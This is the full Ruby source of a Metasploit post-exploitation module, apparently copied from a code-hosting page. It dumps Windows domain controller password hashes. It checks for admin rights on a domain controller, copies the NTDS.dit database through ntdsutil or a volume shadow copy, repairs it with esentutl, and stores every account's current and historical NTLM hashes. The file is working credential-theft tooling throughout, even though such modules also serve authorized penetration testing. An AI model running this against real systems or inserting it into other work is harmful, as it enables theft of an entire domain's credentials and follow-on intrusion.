212 lines
6.7 KiB
Ruby
212 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'metasploit/framework/ntds/parser'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::Accounts
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::ShadowCopy
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::ExtAPI
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Domain Controller Hashdump',
|
|
'Description' => %q{
|
|
This module attempts to copy the NTDS.dit database from a live Domain Controller
|
|
and then parse out all of the User Accounts. It saves all of the captured password
|
|
hashes, including historical ones.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['theLightCosine'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [],
|
|
'Reliability' => []
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
extapi_ntds_parse
|
|
stdapi_fs_stat
|
|
]
|
|
}
|
|
},
|
|
'References' => [
|
|
[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ]
|
|
]
|
|
)
|
|
)
|
|
deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
|
|
register_options(
|
|
[
|
|
OptBool.new(
|
|
'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
|
|
)
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
if preconditions_met?
|
|
print_status 'Pre-conditions met, attempting to copy NTDS.dit'
|
|
ntds_file = copy_database_file
|
|
unless ntds_file.nil?
|
|
file_stat = client.fs.file.stat(ntds_file)
|
|
print_status "NTDS File Size: #{file_stat.size} bytes"
|
|
print_status 'Repairing NTDS database after copy...'
|
|
print_status repair_ntds(ntds_file)
|
|
realm = sysinfo['Domain']
|
|
begin
|
|
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_bad("Failed to properly parse database: #{e}")
|
|
if e.to_s.include? '1004'
|
|
print_bad('Error 1004 is likely a jet database error because the ntds database is not in the regular format')
|
|
end
|
|
end
|
|
unless ntds_parser.nil?
|
|
print_status 'Started up NTDS channel. Preparing to stream results...'
|
|
ntds_parser.each_account do |ad_account|
|
|
print_good ad_account.to_s
|
|
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
|
|
ad_account.nt_history.each_with_index do |nt_hash, index|
|
|
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
|
|
hash_string << ":#{nt_hash}"
|
|
report_hash(hash_string.downcase, ad_account.name, realm)
|
|
end
|
|
end
|
|
end
|
|
if datastore['cleanup']
|
|
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
|
|
rm_f(ntds_file)
|
|
else
|
|
print_bad "#{ntds_file} requires manual cleanup"
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def copy_database_file
|
|
version = get_version_info
|
|
if version.windows_server?
|
|
if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)
|
|
print_status 'Using Volume Shadow Copy Method'
|
|
return vss_method
|
|
elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0
|
|
print_status 'Using NTDSUTIL method'
|
|
return ntdsutil_method
|
|
end
|
|
end
|
|
print_error 'This version of Windows is unsupported'
|
|
return nil
|
|
end
|
|
|
|
def ntds_exists?
|
|
return false unless ntds_location
|
|
|
|
file_exist?("#{ntds_location}\\ntds.dit")
|
|
end
|
|
|
|
def ntds_location
|
|
@ntds_location ||= registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters', 'DSA Working Directory')
|
|
end
|
|
|
|
def ntdsutil_method
|
|
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha(6..13)}"
|
|
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
|
|
result = cmd_exec('ntdsutil.exe', command_arguments, 90)
|
|
if result.include? 'IFM media created successfully'
|
|
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
|
|
print_status "NTDS database copied to #{file_path}"
|
|
else
|
|
print_error 'There was an error copying the ntds.dit file!'
|
|
vprint_error result
|
|
file_path = nil
|
|
end
|
|
file_path
|
|
end
|
|
|
|
def preconditions_met?
|
|
unless is_admin?
|
|
print_error('This module requires Admin privs to run')
|
|
return false
|
|
end
|
|
|
|
print_status('Session has Admin privs')
|
|
|
|
unless domain_controller?
|
|
print_error('Host does not appear to be an AD Domain Controller')
|
|
return false
|
|
end
|
|
|
|
print_status('Session is on a Domain Controller')
|
|
|
|
unless ntds_exists?
|
|
print_error('Could not locate ntds.dit file')
|
|
return false
|
|
end
|
|
|
|
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)
|
|
fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')
|
|
end
|
|
|
|
session_compat?
|
|
end
|
|
|
|
def repair_ntds(path = '')
|
|
arguments = "/p /o \"#{path}\""
|
|
cmd_exec('esentutl', arguments)
|
|
end
|
|
|
|
def report_hash(ntlm_hash, username, realm)
|
|
cred_details = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: refname,
|
|
private_type: :ntlm_hash,
|
|
private_data: ntlm_hash,
|
|
username: username,
|
|
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
|
realm_value: realm,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
create_credential(cred_details)
|
|
end
|
|
|
|
def session_compat?
|
|
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
|
print_error 'You are running 32-bit Meterpreter on a 64 bit system'
|
|
print_error 'Try migrating to a 64-bit process and try again'
|
|
false
|
|
else
|
|
true
|
|
end
|
|
end
|
|
|
|
def vss_method
|
|
unless start_vss
|
|
fail_with(Failure::NoAccess, 'Unable to start VSS service')
|
|
end
|
|
location = ntds_location.dup
|
|
location.slice!(0, 3)
|
|
id = create_shadowcopy(volume.to_s)
|
|
print_status "Getting Details of ShadowCopy #{id}"
|
|
sc_details = get_sc_details(id)
|
|
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
|
|
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha(6..13)}"
|
|
print_status "Moving ntds.dit to #{target_path}"
|
|
move_file(sc_path, target_path)
|
|
target_path
|
|
end
|
|
end
|